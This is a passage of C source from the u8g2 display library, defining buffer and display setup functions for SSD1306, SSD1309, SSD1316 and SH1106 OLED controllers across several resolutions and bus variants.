u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 f */\nvoid u8g2_Setup_sh1106_i2c_128x32_visionox_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x32_visionox, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_64x48_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_6_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_64x48_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_6_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_64x48_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_6_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_i2c_64x48_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_6_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_i2c_64x48_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_6_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_i2c_64x48_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x48_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_6_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_48x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_6_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_48x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_6_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_48x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_6_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_i2c_48x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_6_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_i2c_48x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_6_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_i2c_48x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_48x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_6_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_64x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_64x32_1f_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_64x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_64x32_1f_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_64x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_64x32_1f_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_i2c_64x32_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_64x32_1f_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_i2c_64x32_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_64x32_1f_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_i2c_64x32_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_64x32_1f_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_64x32_1f, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_96x16_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_2_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_96x16_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_2_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_96x16_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_2_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_i2c_96x16_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_2_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_i2c_96x16_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_2_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_i2c_96x16_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x16_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_2_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 */\n/* ssd1309 1 */\nvoid u8g2_Setup_ssd1309_128x64_noname2_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 2 */\nvoid u8g2_Setup_ssd1309_128x64_noname2_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 f */\nvoid u8g2_Setup_ssd1309_128x64_noname2_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 */\n/* ssd1309 1 */\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname2_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 2 */\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname2_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 f */\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname2_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname2, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 */\n/* ssd1309 1 */\nvoid u8g2_Setup_ssd1309_128x64_noname0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 2 */\nvoid u8g2_Setup_ssd1309_128x64_noname0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 f */\nvoid u8g2_Setup_ssd1309_128x64_noname0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 */\n/* ssd1309 1 */\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 2 */\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1309 f */\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1309_128x64_noname0, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 */\n/* ssd1316 1 */\nvoid u8g2_Setup_ssd1316_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 2 */\nvoid u8g2_Setup_ssd1316_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 f */\nvoid u8g2_Setup_ssd1316_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 */\n/* ssd1316 1 */\nvoid u8g2_Setup_ssd1316_i2c_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 2 */\nvoid u8g2_Setup_ssd1316_i2c_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1316 f */\nvoid u8g2_Setup_ssd1316_i2c_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1316_128x32, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, 